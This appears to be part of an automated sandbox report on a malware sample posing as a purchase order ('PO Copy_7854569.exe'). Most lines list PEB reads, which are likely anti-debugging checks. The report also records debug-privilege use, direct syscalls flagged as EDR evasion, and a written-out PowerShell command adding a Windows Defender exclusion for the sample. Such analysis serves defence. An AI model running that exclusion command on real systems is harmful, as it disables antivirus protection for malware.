Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016527ED mov eax, dword ptr fs:[00000030h] 6_2_016527ED
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016527ED mov eax, dword ptr fs:[00000030h] 6_2_016527ED
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016BE7E1 mov eax, dword ptr fs:[00000030h] 6_2_016BE7E1
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016347FB mov eax, dword ptr fs:[00000030h] 6_2_016347FB
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016347FB mov eax, dword ptr fs:[00000030h] 6_2_016347FB
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0163C7C0 mov eax, dword ptr fs:[00000030h] 6_2_0163C7C0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B07C3 mov eax, dword ptr fs:[00000030h] 6_2_016B07C3
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016307AF mov eax, dword ptr fs:[00000030h] 6_2_016307AF
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016E47A0 mov eax, dword ptr fs:[00000030h] 6_2_016E47A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016D678E mov eax, dword ptr fs:[00000030h] 6_2_016D678E
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016F866E mov eax, dword ptr fs:[00000030h] 6_2_016F866E
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016F866E mov eax, dword ptr fs:[00000030h] 6_2_016F866E
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166A660 mov eax, dword ptr fs:[00000030h] 6_2_0166A660
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166A660 mov eax, dword ptr fs:[00000030h] 6_2_0166A660
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01662674 mov eax, dword ptr fs:[00000030h] 6_2_01662674
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0164C640 mov eax, dword ptr fs:[00000030h] 6_2_0164C640
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0164E627 mov eax, dword ptr fs:[00000030h] 6_2_0164E627
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01666620 mov eax, dword ptr fs:[00000030h] 6_2_01666620
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01668620 mov eax, dword ptr fs:[00000030h] 6_2_01668620
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0163262C mov eax, dword ptr fs:[00000030h] 6_2_0163262C
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016AE609 mov eax, dword ptr fs:[00000030h] 6_2_016AE609
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0164260B mov eax, dword ptr fs:[00000030h] 6_2_0164260B
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0164260B mov eax, dword ptr fs:[00000030h] 6_2_0164260B
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0164260B mov eax, dword ptr fs:[00000030h] 6_2_0164260B
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0164260B mov eax, dword ptr fs:[00000030h] 6_2_0164260B
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0164260B mov eax, dword ptr fs:[00000030h] 6_2_0164260B
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0164260B mov eax, dword ptr fs:[00000030h] 6_2_0164260B
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0164260B mov eax, dword ptr fs:[00000030h] 6_2_0164260B
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01672619 mov eax, dword ptr fs:[00000030h] 6_2_01672619
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016AE6F2 mov eax, dword ptr fs:[00000030h] 6_2_016AE6F2
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016AE6F2 mov eax, dword ptr fs:[00000030h] 6_2_016AE6F2
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016AE6F2 mov eax, dword ptr fs:[00000030h] 6_2_016AE6F2
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016AE6F2 mov eax, dword ptr fs:[00000030h] 6_2_016AE6F2
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B06F1 mov eax, dword ptr fs:[00000030h] 6_2_016B06F1
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B06F1 mov eax, dword ptr fs:[00000030h] 6_2_016B06F1
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166A6C7 mov ebx, dword ptr fs:[00000030h] 6_2_0166A6C7
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166A6C7 mov eax, dword ptr fs:[00000030h] 6_2_0166A6C7
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166C6A6 mov eax, dword ptr fs:[00000030h] 6_2_0166C6A6
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016666B0 mov eax, dword ptr fs:[00000030h] 6_2_016666B0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01634690 mov eax, dword ptr fs:[00000030h] 6_2_01634690
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01634690 mov eax, dword ptr fs:[00000030h] 6_2_01634690
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01656962 mov eax, dword ptr fs:[00000030h] 6_2_01656962
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01656962 mov eax, dword ptr fs:[00000030h] 6_2_01656962
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01656962 mov eax, dword ptr fs:[00000030h] 6_2_01656962
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0167096E mov eax, dword ptr fs:[00000030h] 6_2_0167096E
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0167096E mov edx, dword ptr fs:[00000030h] 6_2_0167096E
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0167096E mov eax, dword ptr fs:[00000030h] 6_2_0167096E
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016D4978 mov eax, dword ptr fs:[00000030h] 6_2_016D4978
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016D4978 mov eax, dword ptr fs:[00000030h] 6_2_016D4978
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016BC97C mov eax, dword ptr fs:[00000030h] 6_2_016BC97C
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B0946 mov eax, dword ptr fs:[00000030h] 6_2_016B0946
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01704940 mov eax, dword ptr fs:[00000030h] 6_2_01704940
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B892A mov eax, dword ptr fs:[00000030h] 6_2_016B892A
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016C892B mov eax, dword ptr fs:[00000030h] 6_2_016C892B
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016AE908 mov eax, dword ptr fs:[00000030h] 6_2_016AE908
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016AE908 mov eax, dword ptr fs:[00000030h] 6_2_016AE908
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016BC912 mov eax, dword ptr fs:[00000030h] 6_2_016BC912
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01628918 mov eax, dword ptr fs:[00000030h] 6_2_01628918
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01628918 mov eax, dword ptr fs:[00000030h] 6_2_01628918
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016BE9E0 mov eax, dword ptr fs:[00000030h] 6_2_016BE9E0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016629F9 mov eax, dword ptr fs:[00000030h] 6_2_016629F9
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016629F9 mov eax, dword ptr fs:[00000030h] 6_2_016629F9
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016C69C0 mov eax, dword ptr fs:[00000030h] 6_2_016C69C0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0163A9D0 mov eax, dword ptr fs:[00000030h] 6_2_0163A9D0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0163A9D0 mov eax, dword ptr fs:[00000030h] 6_2_0163A9D0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0163A9D0 mov eax, dword ptr fs:[00000030h] 6_2_0163A9D0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0163A9D0 mov eax, dword ptr fs:[00000030h] 6_2_0163A9D0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0163A9D0 mov eax, dword ptr fs:[00000030h] 6_2_0163A9D0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0163A9D0 mov eax, dword ptr fs:[00000030h] 6_2_0163A9D0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016649D0 mov eax, dword ptr fs:[00000030h] 6_2_016649D0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016FA9D3 mov eax, dword ptr fs:[00000030h] 6_2_016FA9D3
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016429A0 mov eax, dword ptr fs:[00000030h] 6_2_016429A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016429A0 mov eax, dword ptr fs:[00000030h] 6_2_016429A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016429A0 mov eax, dword ptr fs:[00000030h] 6_2_016429A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016429A0 mov eax, dword ptr fs:[00000030h] 6_2_016429A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016429A0 mov eax, dword ptr fs:[00000030h] 6_2_016429A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016429A0 mov eax, dword ptr fs:[00000030h] 6_2_016429A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016429A0 mov eax, dword ptr fs:[00000030h] 6_2_016429A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016429A0 mov eax, dword ptr fs:[00000030h] 6_2_016429A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016429A0 mov eax, dword ptr fs:[00000030h] 6_2_016429A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016429A0 mov eax, dword ptr fs:[00000030h] 6_2_016429A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016429A0 mov eax, dword ptr fs:[00000030h] 6_2_016429A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016429A0 mov eax, dword ptr fs:[00000030h] 6_2_016429A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016429A0 mov eax, dword ptr fs:[00000030h] 6_2_016429A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016309AD mov eax, dword ptr fs:[00000030h] 6_2_016309AD
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016309AD mov eax, dword ptr fs:[00000030h] 6_2_016309AD
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B89B3 mov esi, dword ptr fs:[00000030h] 6_2_016B89B3
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B89B3 mov eax, dword ptr fs:[00000030h] 6_2_016B89B3
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B89B3 mov eax, dword ptr fs:[00000030h] 6_2_016B89B3
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016BE872 mov eax, dword ptr fs:[00000030h] 6_2_016BE872
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016BE872 mov eax, dword ptr fs:[00000030h] 6_2_016BE872
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016C6870 mov eax, dword ptr fs:[00000030h] 6_2_016C6870
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016C6870 mov eax, dword ptr fs:[00000030h] 6_2_016C6870
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01642840 mov ecx, dword ptr fs:[00000030h] 6_2_01642840
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01660854 mov eax, dword ptr fs:[00000030h] 6_2_01660854
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01634859 mov eax, dword ptr fs:[00000030h] 6_2_01634859
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01634859 mov eax, dword ptr fs:[00000030h] 6_2_01634859
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01652835 mov eax, dword ptr fs:[00000030h] 6_2_01652835
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01652835 mov eax, dword ptr fs:[00000030h] 6_2_01652835
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01652835 mov eax, dword ptr fs:[00000030h] 6_2_01652835
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01652835 mov ecx, dword ptr fs:[00000030h] 6_2_01652835
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01652835 mov eax, dword ptr fs:[00000030h] 6_2_01652835
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01652835 mov eax, dword ptr fs:[00000030h] 6_2_01652835
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166A830 mov eax, dword ptr fs:[00000030h] 6_2_0166A830
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016D483A mov eax, dword ptr fs:[00000030h] 6_2_016D483A
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016D483A mov eax, dword ptr fs:[00000030h] 6_2_016D483A
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016BC810 mov eax, dword ptr fs:[00000030h] 6_2_016BC810
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016FA8E4 mov eax, dword ptr fs:[00000030h] 6_2_016FA8E4
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166C8F9 mov eax, dword ptr fs:[00000030h] 6_2_0166C8F9
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166C8F9 mov eax, dword ptr fs:[00000030h] 6_2_0166C8F9
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165E8C0 mov eax, dword ptr fs:[00000030h] 6_2_0165E8C0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_017008C0 mov eax, dword ptr fs:[00000030h] 6_2_017008C0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01630887 mov eax, dword ptr fs:[00000030h] 6_2_01630887
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016BC89D mov eax, dword ptr fs:[00000030h] 6_2_016BC89D
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0162CB7E mov eax, dword ptr fs:[00000030h] 6_2_0162CB7E
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016E4B4B mov eax, dword ptr fs:[00000030h] 6_2_016E4B4B
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016E4B4B mov eax, dword ptr fs:[00000030h] 6_2_016E4B4B
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01702B57 mov eax, dword ptr fs:[00000030h] 6_2_01702B57
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01702B57 mov eax, dword ptr fs:[00000030h] 6_2_01702B57
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01702B57 mov eax, dword ptr fs:[00000030h] 6_2_01702B57
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01702B57 mov eax, dword ptr fs:[00000030h] 6_2_01702B57
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016C6B40 mov eax, dword ptr fs:[00000030h] 6_2_016C6B40
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016C6B40 mov eax, dword ptr fs:[00000030h] 6_2_016C6B40
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016FAB40 mov eax, dword ptr fs:[00000030h] 6_2_016FAB40
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016D8B42 mov eax, dword ptr fs:[00000030h] 6_2_016D8B42
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01628B50 mov eax, dword ptr fs:[00000030h] 6_2_01628B50
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DEB50 mov eax, dword ptr fs:[00000030h] 6_2_016DEB50
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165EB20 mov eax, dword ptr fs:[00000030h] 6_2_0165EB20
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165EB20 mov eax, dword ptr fs:[00000030h] 6_2_0165EB20
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016F8B28 mov eax, dword ptr fs:[00000030h] 6_2_016F8B28
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016F8B28 mov eax, dword ptr fs:[00000030h] 6_2_016F8B28
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01704B00 mov eax, dword ptr fs:[00000030h] 6_2_01704B00
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016AEB1D mov eax, dword ptr fs:[00000030h] 6_2_016AEB1D
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016AEB1D mov eax, dword ptr fs:[00000030h] 6_2_016AEB1D
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016AEB1D mov eax, dword ptr fs:[00000030h] 6_2_016AEB1D
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016AEB1D mov eax, dword ptr fs:[00000030h] 6_2_016AEB1D
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016AEB1D mov eax, dword ptr fs:[00000030h] 6_2_016AEB1D
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016AEB1D mov eax, dword ptr fs:[00000030h] 6_2_016AEB1D
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016AEB1D mov eax, dword ptr fs:[00000030h] 6_2_016AEB1D
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016AEB1D mov eax, dword ptr fs:[00000030h] 6_2_016AEB1D
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016AEB1D mov eax, dword ptr fs:[00000030h] 6_2_016AEB1D
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01638BF0 mov eax, dword ptr fs:[00000030h] 6_2_01638BF0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01638BF0 mov eax, dword ptr fs:[00000030h] 6_2_01638BF0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01638BF0 mov eax, dword ptr fs:[00000030h] 6_2_01638BF0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165EBFC mov eax, dword ptr fs:[00000030h] 6_2_0165EBFC
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016BCBF0 mov eax, dword ptr fs:[00000030h] 6_2_016BCBF0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01650BCB mov eax, dword ptr fs:[00000030h] 6_2_01650BCB
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01650BCB mov eax, dword ptr fs:[00000030h] 6_2_01650BCB
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01650BCB mov eax, dword ptr fs:[00000030h] 6_2_01650BCB
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01630BCD mov eax, dword ptr fs:[00000030h] 6_2_01630BCD
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01630BCD mov eax, dword ptr fs:[00000030h] 6_2_01630BCD
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01630BCD mov eax, dword ptr fs:[00000030h] 6_2_01630BCD
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DEBD0 mov eax, dword ptr fs:[00000030h] 6_2_016DEBD0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640BBE mov eax, dword ptr fs:[00000030h] 6_2_01640BBE
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640BBE mov eax, dword ptr fs:[00000030h] 6_2_01640BBE
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016E4BB0 mov eax, dword ptr fs:[00000030h] 6_2_016E4BB0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016E4BB0 mov eax, dword ptr fs:[00000030h] 6_2_016E4BB0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166CA6F mov eax, dword ptr fs:[00000030h] 6_2_0166CA6F
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166CA6F mov eax, dword ptr fs:[00000030h] 6_2_0166CA6F
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166CA6F mov eax, dword ptr fs:[00000030h] 6_2_0166CA6F
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DEA60 mov eax, dword ptr fs:[00000030h] 6_2_016DEA60
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016ACA72 mov eax, dword ptr fs:[00000030h] 6_2_016ACA72
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016ACA72 mov eax, dword ptr fs:[00000030h] 6_2_016ACA72
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01636A50 mov eax, dword ptr fs:[00000030h] 6_2_01636A50
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01636A50 mov eax, dword ptr fs:[00000030h] 6_2_01636A50
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01636A50 mov eax, dword ptr fs:[00000030h] 6_2_01636A50
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01636A50 mov eax, dword ptr fs:[00000030h] 6_2_01636A50
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01636A50 mov eax, dword ptr fs:[00000030h] 6_2_01636A50
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01636A50 mov eax, dword ptr fs:[00000030h] 6_2_01636A50
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01636A50 mov eax, dword ptr fs:[00000030h] 6_2_01636A50
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640A5B mov eax, dword ptr fs:[00000030h] 6_2_01640A5B
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01640A5B mov eax, dword ptr fs:[00000030h] 6_2_01640A5B
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166CA24 mov eax, dword ptr fs:[00000030h] 6_2_0166CA24
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165EA2E mov eax, dword ptr fs:[00000030h] 6_2_0165EA2E
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01654A35 mov eax, dword ptr fs:[00000030h] 6_2_01654A35
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01654A35 mov eax, dword ptr fs:[00000030h] 6_2_01654A35
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166CA38 mov eax, dword ptr fs:[00000030h] 6_2_0166CA38
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016BCA11 mov eax, dword ptr fs:[00000030h] 6_2_016BCA11
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166AAEE mov eax, dword ptr fs:[00000030h] 6_2_0166AAEE
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0166AAEE mov eax, dword ptr fs:[00000030h] 6_2_0166AAEE
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01686ACC mov eax, dword ptr fs:[00000030h] 6_2_01686ACC
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01686ACC mov eax, dword ptr fs:[00000030h] 6_2_01686ACC
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01686ACC mov eax, dword ptr fs:[00000030h] 6_2_01686ACC
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01630AD0 mov eax, dword ptr fs:[00000030h] 6_2_01630AD0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01664AD0 mov eax, dword ptr fs:[00000030h] 6_2_01664AD0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01664AD0 mov eax, dword ptr fs:[00000030h] 6_2_01664AD0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01638AA0 mov eax, dword ptr fs:[00000030h] 6_2_01638AA0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01638AA0 mov eax, dword ptr fs:[00000030h] 6_2_01638AA0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01686AA4 mov eax, dword ptr fs:[00000030h] 6_2_01686AA4
Enables debug privileges
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PO Copy_7854569.exe"
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\PO Copy_7854569.exe" Jump to behavior
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtAllocateVirtualMemory: Direct from: 0x76EF48EC Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtQueryAttributesFile: Direct from: 0x76EF2E6C Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtQueryVolumeInformationFile: Direct from: 0x76EF2F2C Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtQuerySystemInformation: Direct from: 0x76EF48CC Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtOpenSection: Direct from: 0x76EF2E0C Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe NtDeviceIoControlFile: Direct from: 0x76EF2AEC Jump to behavior
